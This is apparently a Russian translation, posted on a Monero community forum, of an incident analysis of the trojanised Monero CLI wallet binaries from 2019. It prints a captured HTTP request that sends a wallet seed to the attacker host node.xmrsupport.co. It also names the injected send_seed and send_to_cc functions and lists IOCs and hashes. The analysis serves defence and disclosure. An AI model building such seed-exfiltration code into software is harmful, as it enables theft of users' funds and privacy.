Новости Файлы Monero для Windows и Linux CLI скомпрометированы: анализ файлов

Тема в разделе "Новости", создана пользователем Mr. Pickles, 23 ноя 2019.

  1. Mr. Pickles

    Команда форума Модератор Редактор

    Регистрация:
    11 сен 2017
    Сообщения:
    556
    Симпатии:
    205
    1.png
    ДИСКЛЕЙМЕР: Анализ причины будет опубликован ещё в одном посте.

    Как упоминалось в посте на getmonero.org, бинарные файлы CLI-кошелька Monero были недавно взломаны. Для тех, кто не знает, что такое Monero — это криптовалюта, ориентированная на обеспечение финансовой анонимности своих пользователей, и в её основе лежат хорошо известные технологии кольцевых подписей и конфиденциальных транзакций. Рекомендую ознакомиться с работой Mastering Monero (Изучаем Monero), чтобы лучше понять её основы.

    Перед тем как приступить к анализу причин случившегося, мне бы хотелось отметить, что на момент написания я представления не имел о том, КАК был взломан сервер downloads.getmonero.org. Этот пост будет обновлён, как только технические специалисты закончат проверку.

    Сначала пользователь nikitasius поднял на Github вопрос относительно несоответствия хеша (SHA256: b99009d2e47989262c23f7277808f7bb0115075e7467061d54fd80c51a22e63d для архива monero.tar.bz2) monero.tar.bz2 для Linux. Этот файл является сжатым архивом, содержащим клиент с поддержкой командной строки Monero, используемый для управления кошельком и демоном. Пользователь стал копать глубже и выяснил, что только monero-wallet-cli имел хеш, отличавшийся от оригинальной версии. Затем эта информация была опубликована в треде Reddit, где большая часть членов сообщества просила меня пролить хоть какой-то свет на произошедшее.

    Как только бинарный файл оказался у меня, я приступил к анализу. Я решил использовать более динамичный метод анализа (то есть основанный на «эмпирических» данных). Чтобы глубже понять, как работают эти программы, необходимы оба метода (статического и динамического) анализа. Я настроил свой Docker и попытался запустить ./monero-wallet-cli, указав свой удалённый узел. Произошла ошибка, так как моя версия GLIB_C не была обновлена; это был первый красный флаг, так как все остальные программы Monero, извлечённые из взломанного архива, работали нормально.

    Как показала команда file, он был динамически связан, и неизвестный злоумышленник не подчистил отладочную информацию. Нам крупно повезло, так как наличие отладочной информации в значительной мере упрощает анализ двоичного файла. После сравнения информации у нас возникли две теории: злоумышленник оставляет отладочную информацию, поскольку не является профессионалом в работе с C++ (и просто проверял репозиторий), или же отладочная информация была оставлена специально, чтобы минимизировать количество красных флагов.
    Код:
    monero-wallet-cli--bad: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=1c58ece68c198390e539c636da4f9af36e877e7c, with debug_info, not stripped
    Вредоносный бинарный файл был создан на основе коммита f07c326f13dc25efcfe6d680623c8cacb2dea2db по тегу release-0.15.0.

    Вредоносный бинарный файл был создан на основе коммита f07c326f13dc25efcfe6d680623c8cacb2dea2db по тегу release-0.15.0.

    Анализ двоичных файлов для Linux
    Как только мы запустили бинарный файл, у нас появилась возможность заняться им плотнее. Первая вещь, на которую я обратил внимание, заключалась в том, что он дважды запрашивал пароль кошелька. Легальный кошелёк делает это лишь единожды. В конце этого поста станет понятно, почему так происходило.

    Я выбрал динамический метод анализа (в отличие от статического анализа, проведённого MaxXor или bartblaze), а это означало, что во время работы бинарного файла я пытался захватить все входящие и исходящие данные моего хоста. Это делалось при помощи нескольких полезных инструментов, таких как специальный демон Monero, позволяющий регистрировать все соединения, а также tcpdump для перехвата и анализа всех пакетов.

    Прежде всего я создал новый кошелёк. Я ничего не замечал до тех пор, пока не проверил журнал, созданный моей программой TCPDUMP. Появились некоторые новые соединения, одно из которых было особо интересно. Мой узел начал связываться с другим хостом (IP которого был следующим: 91.210.104.245) через порт 18081 (далее будем называть его MALICIOUS_IP). Я думал, что это другой узел Monero (круто!), пока не вспомнил, что запустил клиент, указав свой локальный узел. В моей сети у узла был локальный IP 192.x.x.x.

    Было довольно странно, что злоумышленники получили данные кошелька через порт 18081. Порт 18081 обычно используется для RPC API демона Monero, поэтому это соединение должно было казаться доверенным. Пользователь мог подумать: «Я использую кошелёк Monero, так что, очевидно, кошелёк должен связаться с узлом, особенно если я не запускаю демон Monero локально».
    Код:
    POST http/1.1
    Content-Type: "application/x-www-form-urlencoded"
    Host: node.xmrsupport.co
    ?seed=[REDACTED_HEX_SEED]
    Пакеты, перехваченные и проанализированные при помощи tcpdump, показали, что мнемоническая фраза отправлялась на MALICIOUS_IP. Статический анализ подтвердил это; когда кошелёк создаётся посредством функции cryptonote::simple_wallet::new_wallet, клиент вызывает функцию cryptonote::simple_wallet:: print_seed. И если изучить функцию cryptonote::simple_wallet:: print_seed, выяснится, что во вредоносный бинарный файл было включено две новые функции: cryptonote::simple_wallet::send_to_cc и cryptonote::simple_wallet::send_seed. Что интересно в их названии: оно подразумевают отправку «мнемонической фразы» (которая шифрует приватный ключ отправки кошелька Monero) на сервер C&C (Command and Control (команды и управления), известный как MALICIOUS_IP).

    Функция cryptonote::simple_wallet:: print_seed вызывается трижды: при создании нового кошелька, при открытии нового кошелька и когда команда seed вводится в командную строку, что означает, что кто-то, открывший и создавший кошелёк посредством вредоносной программы, отправляет свои приватные ключи злоумышленнику.

    Кроме того, нами был обнаружен ещё один IP-адрес: 45.9.148.65, связанный с node.xmrsupport.co с SSL сертификатом для узла node.hashmonero.com. В конечном счёте мы получили данные двух доменов:
    Код:
    Domain name: xmrsupport.co
    Registry Domain ID: D9E3AC179ACA44FE4B81F274517F8F47E-NSR
    Registrar WHOIS Server: whois.opensrs.net
    Registrar URL: www.opensrs.com
    Updated Date: 2019-11-14T16:02:52Z
    Creation Date: 2019-11-14T16:02:51Z
    и
    Код:
    Domain Name: hashmonero.com
       Registry Domain ID: 2455018003_DOMAIN_COM-VRSN
       Registrar WHOIS Server: whois.namesilo.com
       Registrar URL: http://www.namesilo.com
       Updated Date: 2019-11-13T21:27:07Z
       Creation Date: 2019-11-13T21:27:06Z
       Registry Expiry Date: 2020-11-13T21:27:06Z
    Когда взламывают ваш кошелёк, то крадут не только монеты; необходимо учитывать, что ещё злоумышленник может сделать, используя вашу мнемоническую фразу. Поскольку Monero использует скрытые адреса, злоумышленник не сможет восстановить адреса, по которым вы проводили транзакции (так что эта информация остаётся в безопасности). Тем не менее злоумышленник может выяснить, сколько XMR было у вас в кошельке, и проанализировав время ваших транзакций, понять, в какой временной зоне вы находитесь. Наконец, злоумышленнику будут известны ID транзакций, связанные с вашим кошельком.

    В заключение необходимо отметить, что мнемоническая фраза отправлялась злоумышленнику, способному слить ваши XMR с кошелька Monero. Как кто-то отметил в своём посте, кажется, этот бинарный файл не позволяет открывать любые порты с хоста. И я могу подтвердить, что вредоносная программа в основном предназначена для кражи монет путём отправки вашего приватного ключа злоумышленнику. Помимо этого, мне хотелось бы отметить, что утечка вашей мнемонической фразы может нарушить вашу финансовую анонимность; как я уже упоминал ранее, все входящие и исходящие транзакции будут видны злоумышленнику.

    Анализ двоичных файлов для Windows

    Как и в случае с двоичными файлами для Linux, мы, в первую очередь, положились на динамический анализ, выбрав службу hybrid-analysis.com, чтобы разобраться в ситуации.

    Я могу подтвердить, что двоичные файлы Windows также были взломаны — в них мы нашли те же вредоносные функции, которые использовались в версии для Linux. Так как мы уже обсудили двоичный файл для Linux в посте, опубликованном bartblaze, позвольте представить вам результаты статистического анализа двоичного файла для Windows.

    Мы начали с objdump, полезной программы, позволяющей дизассемблировать любой двоичный файл (даже файлы .exe для Windows NT). Быстрое исследование с использованием запроса send_to_cc подтвердило, что злоумышленник для создания бинарного файла для Windows использовал тот же исходник.
    Код:
    _ZN10cryptonote13simple_wallet10send_to_ccENSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEES6_i
    
    _ZN10cryptonote13simple_wallet9send_seedERKN4epee15wipeable_stringE
    Интересно, что в результате гибридного анализа выяснилось, что версия вредоносного программного обеспечения (ПО) для Windows имела некоторые намёки на дополнительное вредоносное поведение. Она проверяла ключ регистрации HKLM\SYSTEM\CONTROLSET001\CONTROL\TERMINAL SERVER, чтобы определить установлен ли TSUSERENABLED в действительное значение. Важно, что эта версия проверяла, включён или нет удалённый десктоп. Обычно это делается, если злоумышленник хочет распространить вредоносное ПО буквально по всей сети. Тем не менее оказалось, что эта функция была забыта из-за временных ограничений (другие попытки использования RDP отсутствовали).

    Боже! И что же мне делать?

    Вам кажется, что ваш кошелёк был взломан? Сначала проверьте, не загрузили ли вы вредоносное ПО, сравнив хеш вашего файла с оригинальным. Настоятельно рекомендуется это сделать тем, кто скачал CLI-кошелёк с этого сайта в понедельник 18 числа между 2:30 AM UTC и 4:30 PM UTC. Если вам необходимо более подробное руководство, я бы рекомендовал воспользоваться вот этим.

    Если вы удивлены, почему я не опубликовал эту информацию до того, как кто-то написал пост в отношении случившегося, то вот вам причина. Я и ещё несколько контрибьюторов из нашего сообщества пытались выяснить личность злоумышленника, проанализировав метаданные его транзакций. К сожалению, нам не удалось воспроизвести саму кражу мнемонической фразы, и мы не получили больше информации о злоумышленнике.

    Данные
    • Двоичный файл для Linux был создан на основе версии 0.15 в папке /home/amp/BUILDS/monero.
    • Двоичный файл для Windows был создан на основе того же исходника, что и для Linux.
    monero-wallet-cli.exe:
    • MD5: 72417ab40b8ed359a37b72ac8d399bd7
    • SHA-256: 963c1dfc86ff0e40cee176986ef9f2ce24fda53936c16f226c7387e1a3d67f74
    • Тип файла: monero-wallet-cli.exe: PE32+ executable (console) x86-64, for MS Windows
    • Размер файла: 65,14 Мб (68302960 байт)
    monero-wallet-cli:
    • MD5: d267be7efc3f2c4dde8e90b9b489ed2a
    • SHA-256: 7ab9afbc5f9a1df687558d570192fbfe9e085712657d2cfa5524f2c8caccca31
    • Тип файла: ELF
    • Размер файла: 27,63 Мб (28967688 байт)
    Повреждённые домены и IP
    • IPv4 91.210.104.245
    • IPv4 45.9.148.65
    • домен hashmonero.com
    • домен xmrsupport.co
    Мне бы хотелось поблагодарить всех тех, кто помог нам в анализе, но особенно KnifeOfPi, moneromooo, MaxXor, bartblaze, hyc и anhdres за иллюстрацию.

    Источник: Monero Windows and Linux CLI compromised: the analysis of binaries

    Перевод:
    Mr. Pickles (@v1docq47)
    Редактирование:
    Agent LvM (@LvMi4)
    Коррекция:
    Kukima (@Kukima)
     
  • О нас

    Наш сайт является одним из уникальных мест, где русскоязычное сообщество Monero может свободно общаться на темы, связанные с этой криптовалютой. Мы стараемся публиковать полезные мануалы и статьи (как собственные, так и переводы с английского) о криптовалюте Monero. Если вы хорошо владеете английским (или можете писать собственные статьи/мануалы) и хотите помочь в переводах и общем развитии Monero для русскоязычной аудитории - свяжитесь с одним из администраторов.